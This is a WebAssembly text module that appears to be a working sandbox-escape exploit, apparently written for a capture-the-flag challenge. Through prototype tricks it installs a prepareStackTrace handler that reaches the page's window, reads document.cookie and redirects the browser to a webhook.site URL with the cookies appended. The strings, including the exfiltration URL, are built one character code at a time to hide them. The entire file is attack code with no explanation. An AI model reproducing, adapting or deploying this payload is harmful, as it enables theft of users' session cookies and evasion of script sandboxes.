(module (import "constructor" "name" (global $object_name externref)) (import "constructor" "prototype" (global $object_prototype externref)) (import "constructor" "create" (func $object_create (param externref) (result externref))) (import "constructor" "groupBy" (func $group_by (param externref) (param funcref) (result externref))) (import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref) (result externref))) (import "constructor" "values" (func $object_values (param externref) (result externref))) (import "constructor" "keys" (func $object_keys (param externref) (result externref))) (import "constructor" "getPrototypeOf" (func $object_get_prototype_of (param externref) (result externref))) (import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref))) (import "constructor" "assign" (func $object_assign (param externref) (param externref))) (import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref))) (import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref))) (import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref))) (import "__proto__" "constructor" (func $object (param externref) (result externref))) (import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref))) ;;(import "env" "log" (func $log (param externref))) (func $log (param externref)) (global $char_to_return (mut i32) (i32.const 0)) (global $externref_to_return (mut externref) (ref.null extern)) (global $idx_to_save (mut i32) (i32.const 0)) (global $saved_element (mut externref) (ref.null extern)) (func $save_nth_element (param $val externref) (param $n i32) (local.get $n) (global.get $idx_to_save) i32.eq (if (then (local.get $val) (global.set $saved_element) ) ) ) (func $get_nth_element (param $arr externref) (param $n i32) (result externref) (global.set $idx_to_save (local.get $n)) (call $group_by (local.get $arr) (ref.func $save_nth_element)) drop (global.get $saved_element) ) ;; function needs to be exported to pass it as a callback to groupby (export "save_nth_element" (func $save_nth_element)) ;;(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref) (result externref))) ;;(import "constructor" "values" (func $object_values (param externref) (result externref))) (func $get_property_by_index (param $target externref) (param $idx i32) (result externref) (local $prop_descs externref) (local $prop_desc externref) (local.set $prop_descs (call $get_own_property_descriptors (local.get $target)) ) (local.set $prop_desc (call $get_nth_element (call $object_values (local.get $prop_descs)) (local.get $idx) ) ) (call $get_nth_element (call $object_values (local.get $prop_desc)) (i32.const 0) ) ) ;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of (result externref))) (func $get_string_class (result externref) (local $string_proto externref) (local.set $string_proto (call $object_get_prototype_of (global.get $object_name))) (call $get_property_by_index (local.get $string_proto) (i32.const 1)) ) (func $get_string_from_char_code (result externref) (call $get_property_by_index (call $get_string_class) (i32.const 3)) ) ;; (import "constructor" "keys" (func $object_keys (param externref) (result externref))) ;; We need a second definition of groupBy that we can call with js functions(externrefs) ;; (import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref))) ;; (global $char_to_return (mut i32) (i32.const 0)) (func $return_char (result i32) (global.get $char_to_return) ) (export "return_char" (func $return_char)) (func $make_single_char_string (param $ch i32) (result externref) (local $ch_object externref) (local $ch_array externref) (local $from_char_code_obj externref) (local $null_str externref) (global.set $char_to_return (local.get $ch)) (local.set $ch_object ( call $group_by (global.get $object_name) (ref.func $return_char) ) ) (local.set $ch_array ( call $object_keys (local.get $ch_object) ) ) (local.set $from_char_code_obj (call $group_by_extref (local.get $ch_array) (call $get_string_from_char_code) ) ) (local.set $null_str (call $get_nth_element (call $object_keys (local.get $from_char_code_obj)) (i32.const 0) ) ) (call $get_nth_element (local.get $null_str) (i32.const 0) ) ) ;; (import "constructor" "prototype" (global $object_prototype externref)) ;; (import "constructor" "create" (func $object_create (param externref) (result externref))) ;; (import "constructor" "assign" (func $object_assign (param externref) (param externref))) ;; (import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref))) ;; (import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref))) ;; (import "__proto__" "constructor" (global $object externref)) ;; (global $externref_to_return (mut externref) (ref.null)) (func $return_externref (result externref) (global.get $externref_to_return) ) (export "return_externref" (func $return_externref)) (func $empty_object (result externref) (call $object_create (global.get $object_prototype)) ) (func $get__proto__descriptor (result externref) (call $get_nth_element (call $object_values (call $get_own_property_descriptors (global.get $object_prototype)) ) (i32.const 10) ) ) (func $get_enumerable_string (result externref) (call $get_nth_element (call $object_keys (call $get__proto__descriptor)) (i32.const 2) ) ) (func $build_single_element_array (param $element externref) (result externref) (local $target externref) (local $descriptor externref) (local $enumerable_desc externref) (local $target_key externref) (local.set $target (call $empty_object)) (global.set $externref_to_return (call $get_enumerable_string)) (local.set $enumerable_desc (call $group_by (global.get $object_name) (ref.func $return_externref)) ) (local.set $descriptor (call $get__proto__descriptor)) (call $object_assign (local.get $descriptor) (local.get $enumerable_desc)) (local.set $target_key (call $make_single_char_string (i32.const 0x41))) (call $object_define_property (local.get $target) (local.get $target_key) (local.get $descriptor) ) (call $object_set_prototype_of (local.get $target) (call $object (local.get $element)) ) (call $object_values (local.get $target)) ) ;; (import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref))) (func $build_kv_object (param $key externref) (param $value externref) (result externref) (local $kv externref) (local $descriptor externref) (local $enumerable_desc externref) (local $target_key externref) (local.set $target_key (call $make_single_char_string (i32.const 0x41))) (global.set $char_to_return (i32.const 0x41)) (local.set $kv (call $group_by (call $build_single_element_array (local.get $key)) (ref.func $return_char) )) (local.set $enumerable_desc (call $group_by (global.get $object_name) (ref.func $return_externref)) ) (local.set $descriptor (call $get__proto__descriptor)) (call $object_assign (local.get $descriptor) (local.get $enumerable_desc)) (local.set $target_key (call $make_single_char_string (i32.const 0x41))) (call $object_define_property (local.get $kv) (local.get $target_key) (local.get $descriptor) ) (call $object_set_prototype_of (local.get $kv) (call $object (local.get $value)) ) (call $object_from_entries (call $build_single_element_array (call $object_values (local.get $kv))) ) ) (func $set (param $target externref) (param $key externref) (param $value externref) (call $object_assign (local.get $target) (call $build_kv_object (local.get $key) (local.get $value)) ) ) (func $save_elem (param $elem externref) (global.set $saved_element (local.get $elem)) ) (export "saveElem" (func $save_elem)) (func $get_last_element (param $arr externref) (result externref) (call $group_by (local.get $arr) (ref.func $save_elem)) drop (global.get $saved_element) ) (func $get_get_string (result externref) (call $get_nth_element (call $object_keys (call $get__proto__descriptor)) (i32.const 0) ) ) (func $get_set_string (result externref) (call $get_nth_element (call $object_keys (call $get__proto__descriptor)) (i32.const 1) ) ) (func $get_configurable_string (result externref) (call $get_nth_element (call $object_keys (call $get__proto__descriptor)) (i32.const 3) ) ) (func $call_with_this (param $this externref) (param $func externref) (result externref) (local $key externref) (local $descriptor externref) (local.set $key (call $make_single_char_string (i32.const 0x41))) (local.set $descriptor (call $empty_object)) (call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name)) (call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name)) (call $set (local.get $descriptor) (call $get_get_string) (local.get $func)) (call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor)) (call $get_last_element (call $object_values (local.get $this))) ) (func $call_with_this_and_arg (param $this externref) (param $func externref) (param $arg externref) (local $key externref) (local $descriptor externref) (local.set $key (call $make_single_char_string (i32.const 0x41))) (local.set $descriptor (call $empty_object)) (call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name)) (call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name)) (call $set (local.get $descriptor) (call $get_set_string) (local.get $func)) (call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor)) (call $set (local.get $this) (local.get $key) (local.get $arg)) ) (func $empty_string (result externref) (call $call_with_this (call $empty_object) (call $get_string_from_char_code) ) ) (func $empty_array (result externref) (call $object_keys (call $empty_object)) ) ;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref))) (func $get_number_prototype (result externref) (call $object_get_prototype_of_number (i32.const 0x0)) ) (func $get_array_prototype (result externref) (call $object_get_prototype_of (call $empty_array)) ) (func $get_array_constructor (result externref) (call $get_property_by_index (call $get_array_prototype) (i32.const 1)) ) (func $get_array_from (result externref) (call $get_property_by_index (call $get_array_constructor) (i32.const 4)) ) (func $get_array_prototype_push (result externref) (call $get_property_by_index (call $get_array_prototype) (i32.const 12)) ) (func $get_array_prototype_join (result externref) (call $get_property_by_index (call $get_array_prototype) (i32.const 21)) ) (func $get_array_prototype_reduce (result externref) (call $get_property_by_index (call $get_array_prototype) (i32.const 32)) ) (func $array_push (param $arr externref) (param $val externref) (call $call_with_this_and_arg (local.get $arr) (call $get_array_prototype_push) (local.get $val)) ) ;;(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref))) (func $array_join (param $arr externref) (result externref) (local $join_args externref) (local $reducer_array externref) (local.set $join_args (call $empty_array)) (local.set $reducer_array (call $empty_array)) (call $array_push (local.get $join_args) (call $empty_array)) (call $array_push (local.get $reducer_array) (local.get $join_args)) (call $array_push (local.get $reducer_array) (call $get_array_prototype_join)) (call $array_push (local.get $reducer_array) (call $object_funcref (ref.func $save_elem))) (call $object_set_prototype_of (call $get_number_prototype) (local.get $arr)) (call $call_with_this_and_arg (local.get $reducer_array) (call $get_array_prototype_reduce) (call $get_array_from)) (call $object_set_prototype_of (call $get_number_prototype) (global.get $object_prototype)) (global.get $saved_element) ) (func $get_prepare_stack_trace_string (result externref) (local $arr externref) (local.set $arr (call $empty_array)) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x53))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x54))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_join (local.get $arr)) ) (func $trigger_error (call $object_set_prototype_of (global.get $object_name) (global.get $object_name)) ) (func $get_webhook_url (result externref) (local $arr externref) (local.set $arr (call $empty_array)) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3a))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x77))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x62))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2e))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x69))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x36))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x31))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x37))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x35))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34))) (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3f))) (call $array_join (local.get $arr)) ) (func $stack_trace_handler (param externref) (param $callsites externref) (local $callsite externref) (local $callsite_proto externref) (local $get_this externref) (local $window externref) (local $document_getter externref) (local $document externref) (local $html_document_proto externref) (local $document_proto externref) (local $document_props externref) (local $cookie_desc externref) (local $cookie_getter externref) (local $cookies externref) (local $redirect_array externref) (local $redirect_string externref) (local $location_string externref) (local.set $callsite (call $get_nth_element (local.get $callsites) (i32.const 0))) (local.set $callsite_proto (call $object_get_prototype_of (local.get $callsite))) (local.set $get_this (call $get_property_by_index (local.get $callsite_proto) (i32.const 14))) (local.set $window (call $call_with_this (local.get $callsite) (local.get $get_this))) ;;(local $document_getter externref) ;;(local $document externref) ;;(local $html_document_proto externref) ;;(local $document_proto externref) ;; ;;(local $document_props externref) ;;(local $cookie_desc externref) ;;(local $cookie_getter externref) ;; ;;(local $cookies externref) (local.set $document_getter (call $get_property_by_index (local.get $window) (i32.const 672))) (local.set $document (call $call_with_this (local.get $window) (local.get $document_getter))) (local.set $html_document_proto (call $object_get_prototype_of (local.get $document))) (local.set $document_proto (call $object_get_prototype_of (local.get $html_document_proto))) (local.set $document_props (call $get_own_property_descriptors (local.get $document_proto))) (local.set $cookie_desc (call $get_nth_element (call $object_values (local.get $document_props)) (i32.const 15))) (local.set $cookie_getter (call $get_nth_element (call $object_values (local.get $cookie_desc)) (i32.const 0))) (local.set $cookies (call $call_with_this (local.get $document) (local.get $cookie_getter))) ;;(local $redirect_array externref) ;;(local $redirect_string externref) ;;(local $location_string externref) (local.set $redirect_array (call $empty_array)) (call $array_push (local.get $redirect_array) (call $get_webhook_url)) (call $array_push (local.get $redirect_array) (local.get $cookies)) (local.set $redirect_string (call $array_join (local.get $redirect_array))) (local.set $location_string (call $get_nth_element (call $object_keys (local.get $document)) (i32.const 0))) (call $set (local.get $document) (local.get $location_string) (local.get $redirect_string)) ) (export "stackTraceHandler" (func $stack_trace_handler)) (func $main (call $set (global.get $object_prototype) (call $get_prepare_stack_trace_string) (call $object_funcref (ref.func $stack_trace_handler)) ) ) (start $main) ;;(func $renderPixel (result i32) ;; i32.const 11141375) ;;(export "renderPixel" (func $renderPixel)) )